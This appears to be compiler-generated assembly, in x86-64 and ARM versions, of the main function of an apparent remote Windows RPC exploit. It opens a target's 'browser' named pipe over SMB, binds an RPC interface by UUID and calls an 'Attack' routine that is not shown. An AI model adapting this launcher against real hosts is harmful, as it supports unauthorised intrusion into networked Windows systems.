	.file	"extr_1146.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"Usage: %s <host>\n"
.LC1:
	.string	"\\\\%s\\pipe"
.LC2:
	.string	""
.LC3:
	.string	"\\\\%s\\pipe\\browser"
.LC4:
	.string	"1.0"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC5:
	.string	"8d9f4e40-a03d-11ce-8f69-08003e30051b"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 56
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	movsx	rbx, DWORD PTR MAX_PATH[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	r10, rsp
	lea	rax, 15[rbx]
	mov	r12, rbx
	mov	rcx, rax
	mov	rdx, rax
	and	rcx, -4096
	and	rdx, -16
	sub	r10, rcx
	mov	rcx, r10
	cmp	rsp, rcx
	je	.L3
.L19:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rcx
	jne	.L19
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L20
.L4:
	mov	rdx, rax
	mov	rcx, rsp
	and	rax, -4096
	mov	r15, rsp
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
.L5:
	cmp	rsp, rax
	je	.L6
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L5
.L20:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L6:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L21
.L7:
	sub	edi, 1
	mov	r13, rsp
	jle	.L22
	mov	r14, QWORD PTR 8[rsi]
	lea	rdx, .LC1[rip]
	mov	esi, r12d
	mov	rdi, r15
	mov	rcx, r14
	call	_snprintf@PLT
	lea	rdi, -96[rbp]
	xor	ecx, ecx
	mov	QWORD PTR -96[rbp], r15
	lea	rdx, .LC2[rip]
	mov	eax, DWORD PTR RESOURCETYPE_ANY[rip]
	mov	BYTE PTR -1[r15+rbx], 0
	mov	rsi, rdx
	mov	QWORD PTR -80[rbp], 0
	mov	DWORD PTR -72[rbp], eax
	mov	QWORD PTR -88[rbp], 0
	call	WNetAddConnection2@PLT
	mov	esi, r12d
	mov	rdi, rsp
	mov	rcx, r14
	lea	rdx, .LC3[rip]
	call	_snprintf@PLT
	sub	rsp, 8
	xor	r9d, r9d
	xor	ecx, ecx
	push	0
	mov	r8d, DWORD PTR OPEN_EXISTING[rip]
	xor	edx, edx
	mov	rdi, r13
	mov	esi, DWORD PTR GENERIC_READ[rip]
	or	esi, DWORD PTR GENERIC_WRITE[rip]
	call	CreateFile@PLT
	lea	rdx, .LC4[rip]
	lea	rsi, .LC5[rip]
	mov	r12d, eax
	mov	edi, eax
	call	BindRpcInterface@PLT
	mov	edi, r12d
	call	Attack@PLT
	pop	rax
	xor	eax, eax
	pop	rdx
.L1:
	mov	rbx, QWORD PTR -56[rbp]
	xor	rbx, QWORD PTR fs:40
	jne	.L23
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L22:
	.cfi_restore_state
	mov	rsi, QWORD PTR [rsi]
	lea	rdi, .LC0[rip]
	call	printf@PLT
	mov	eax, 1
	jmp	.L1
.L21:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L7
.L23:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	RESOURCETYPE_ANY,4,4
	.comm	OPEN_EXISTING,4,4
	.comm	MAX_PATH,4,4
	.comm	GENERIC_WRITE,4,4
	.comm	GENERIC_READ,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_1146.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Usage: %s <host>\012\000"
	.align	2
.LC1:
	.ascii	"\\\\%s\\pipe\000"
	.align	2
.LC2:
	.ascii	"\000"
	.align	2
.LC3:
	.ascii	"\\\\%s\\pipe\\browser\000"
	.align	2
.LC4:
	.ascii	"1.0\000"
	.align	2
.LC5:
	.ascii	"8d9f4e40-a03d-11ce-8f69-08003e30051b\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC6:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, fp, lr}
	add	fp, sp, #24
	sub	sp, sp, #44
	ldr	r3, .L9
	cmp	r0, #1
	ldr	r5, [r3]
	add	r3, r5, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	add	r6, sp, #16
	sub	sp, sp, r3
	ldr	r3, .L9+4
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	ble	.L7
	mov	r4, #0
	ldr	r8, [r1, #4]
	ldr	r2, .L9+8
	mov	r1, r5
	mov	r3, r8
	mov	r0, r6
	bl	_snprintf
	ldr	r3, .L9+12
	ldr	r2, .L9+16
	ldr	ip, [r3]
	add	r0, r6, r5
	mov	r1, r2
	mov	r3, r4
	add	r7, sp, #16
	strb	r4, [r0, #-1]
	sub	r0, fp, #48
	str	ip, [fp, #-36]
	str	r6, [fp, #-48]
	str	r4, [fp, #-40]
	str	r4, [fp, #-44]
	bl	WNetAddConnection2
	mov	r1, r5
	mov	r3, r8
	ldr	r2, .L9+20
	mov	r0, r7
	bl	_snprintf
	ldr	r1, .L9+24
	ldr	r2, .L9+28
	ldr	r3, .L9+32
	ldr	r2, [r2]
	ldr	r1, [r1]
	ldr	r3, [r3]
	orr	r1, r1, r2
	str	r3, [sp]
	mov	r2, r4
	mov	r3, r4
	mov	r0, r7
	str	r4, [sp, #8]
	str	r4, [sp, #4]
	bl	CreateFile
	mov	r5, r0
	ldr	r2, .L9+36
	ldr	r1, .L9+40
	bl	BindRpcInterface
	mov	r0, r5
	bl	Attack
	mov	r0, r4
.L1:
	ldr	r3, .L9+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-32]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L8
	sub	sp, fp, #24
	@ sp needed
	pop	{r4, r5, r6, r7, r8, fp, pc}
.L7:
	ldr	r1, [r1]
	ldr	r0, .L9+44
	bl	printf
	mov	r0, #1
	b	.L1
.L8:
	bl	__stack_chk_fail
.L10:
	.align	2
.L9:
	.word	MAX_PATH
	.word	.LC6
	.word	.LC1
	.word	RESOURCETYPE_ANY
	.word	.LC2
	.word	.LC3
	.word	GENERIC_READ
	.word	GENERIC_WRITE
	.word	OPEN_EXISTING
	.word	.LC4
	.word	.LC5
	.word	.LC0
	.size	main, .-main
	.comm	RESOURCETYPE_ANY,4,4
	.comm	OPEN_EXISTING,4,4
	.comm	MAX_PATH,4,4
	.comm	GENERIC_WRITE,4,4
	.comm	GENERIC_READ,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
